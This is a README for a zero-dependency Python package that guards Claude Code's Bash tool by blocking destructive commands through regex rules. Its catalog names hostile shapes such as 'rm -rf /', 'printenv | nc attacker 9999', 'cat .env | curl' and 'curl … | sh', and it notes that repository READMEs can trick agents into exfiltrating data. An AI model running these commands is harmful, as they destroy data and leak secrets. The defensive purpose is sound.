claude-safety-guard 0.1.0

A zero-dependency Claude Code PreToolUse guard that blocks destructive shell commands before they run.

claude-safety-guard

A loud stop between your Claude Code agent and a destroyed filesystem.

claude-safety-guard is a tiny, zero-dependency Python package that plugs into Claude Code's PreToolUse hook and blocks the small set of shell commands that are nearly always a mistake when issued by an agent: rm -rf /, git push --force to main, curl … | sh, piping .env into curl, and ~20 other well-known destructive shapes.

It is intentionally a thin regex layer rather than a shell parser. The goal is a loud stop, not silent cleverness: every rule has a stable ID, a human-readable reason, and can be allowlisted individually without losing coverage of the rest of the catalog.

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Why this exists

Agents sometimes typo. Sometimes they get confused about which directory they are in. Sometimes an attacker-crafted repository README contains a "setup step" that is actually a data-exfiltration command. A PreToolUse hook is the cheapest place in the stack to say "no, not this one", because it runs before the command hits the shell.

Three design commitments:

1. Fail loud, not clever. The catalog is narrow and focused on shapes that have near-zero false positives in practice. A finding always surfaces a stable pattern_id so you can allowlist it if you disagree.
2. Fail open on the hook itself. If the hook crashes, the agent still works — a broken guard must not brick your workflow.
3. Zero runtime dependencies. Pure Python stdlib. Nothing to vendor, nothing to audit.

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Install

pip install claude-safety-guard

Requires Python 3.10+.

Quick check it works

claude-safety-guard check -- rm -rf /
# BLOCK   rm -rf /
#   - [block] fs-rm-rf-root               Recursive force-delete targeting the filesystem root or /home. …
#     matched: 'rm -rf /'

claude-safety-guard check -- ls -la
# ALLOW   ls -la

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Wiring it into Claude Code

Edit ~/.claude/settings.json (or your project-local .claude/settings.json) and add a PreToolUse hook for Bash:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "claude-safety-guard hook"
          }
        ]
      }
    ]
  }
}

That's it. The next time Claude Code tries to run a Bash command, the envelope flows through the guard. Blocked commands are denied with a reason Claude Code surfaces back to the model; allowed commands pass through untouched.

A ready-to-copy example lives at examples/settings.json.

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What it catches

Category	Examples
Filesystem	rm -rf /, rm -rf $HOME, rm -rf ., mkfs.ext4 /dev/sda1
Git	git push --force origin main, git reset --hard origin/main
Secrets	cat .env | curl …, printenv | nc attacker 9999
Supply-chain	curl … | sh, pip install https://…
Privilege / kernel	echo hunter2 | sudo -S …, fork bombs
Package managers	apt-get purge *

Full catalog: docs/PATTERNS.md — or run:

claude-safety-guard list-rules

Every pattern has an ID (fs-rm-rf-root, git-force-push-mainline, …) that is stable across releases. The catalog is additive: new rules arrive in minor releases; existing IDs never change their meaning.

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Configuration

Config file (TOML) lives at, in priority order:

1. $CLAUDE_SAFETY_GUARD_CONFIG
2. $XDG_CONFIG_HOME/claude-safety-guard/config.toml
3. ~/.config/claude-safety-guard/config.toml

# ~/.config/claude-safety-guard/config.toml

# Silence specific rules. Every entry is a named exception. Unknown IDs
# are dropped with a warning on stderr.
allowlist = [
  # "fs-rm-rf-home-var",
  # "git-clean-fdx",
]

# If true, BLOCK findings are downgraded to WARN. Useful for a week of
# observation before you turn enforcement on.
dry_run = false

# If true, WARN findings ask the user in Claude Code instead of passing
# through silently.
ask_on_warn = false

Every CLI invocation takes --config PATH to override the lookup.

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CLI

claude-safety-guard check <command…>   Evaluate and print result (exit 1 on BLOCK).
claude-safety-guard check --json …     Machine-readable JSON output.
claude-safety-guard check --dry-run …  Downgrade BLOCK to WARN (exit 0).
claude-safety-guard hook               Run as the PreToolUse hook (stdin JSON).
claude-safety-guard list-rules         Print the full catalog as a table.
claude-safety-guard version            Print the version.

For a command with flags, use -- so argparse doesn't grab the flags:

claude-safety-guard check -- rm -rf /
claude-safety-guard check -- git push --force origin main

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Library API

The same engine is available as a library if you want to wire the guard into CI, a shell wrapper, or your own agent.

from claude_safety_guard import evaluate

decision = evaluate("rm -rf /")
print(decision.outcome)        # Outcome.BLOCK
print(decision.findings[0].pattern_id)  # "fs-rm-rf-root"
print(decision.to_dict())

All public types (Decision, Finding, Pattern, Severity, EvaluationOptions) are frozen dataclasses, so they are safe to pass between threads and hashable where Python allows.

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Threat model & non-goals

The guard is a speed bump, not a sandbox:

• It does not shell-parse. A command inside single-quoted strings will still fire if the text shape matches, by design. If you legitimately need to echo 'rm -rf /' > note.txt, add fs-rm-rf-root to your allowlist or use a heredoc. See tests/test_patterns.py::test_string_quoting_is_not_bypassed.
• It does not defend against a root-shell adversary who can already edit ~/.claude/settings.json or disable the hook.
• It does not attempt anomaly detection, ML, or heuristics. Every rule is an auditable regex with a stable ID.

Security reports: see SECURITY.md.

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Contributing

New patterns very welcome, especially if you have a concrete incident that motivated them. See CONTRIBUTING.md. Each new pattern must come with at least one positive test (commands that rightly trigger it) and one negative test (commands that look similar but must not trigger it).

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License

Apache License 2.0. See LICENSE and NOTICE.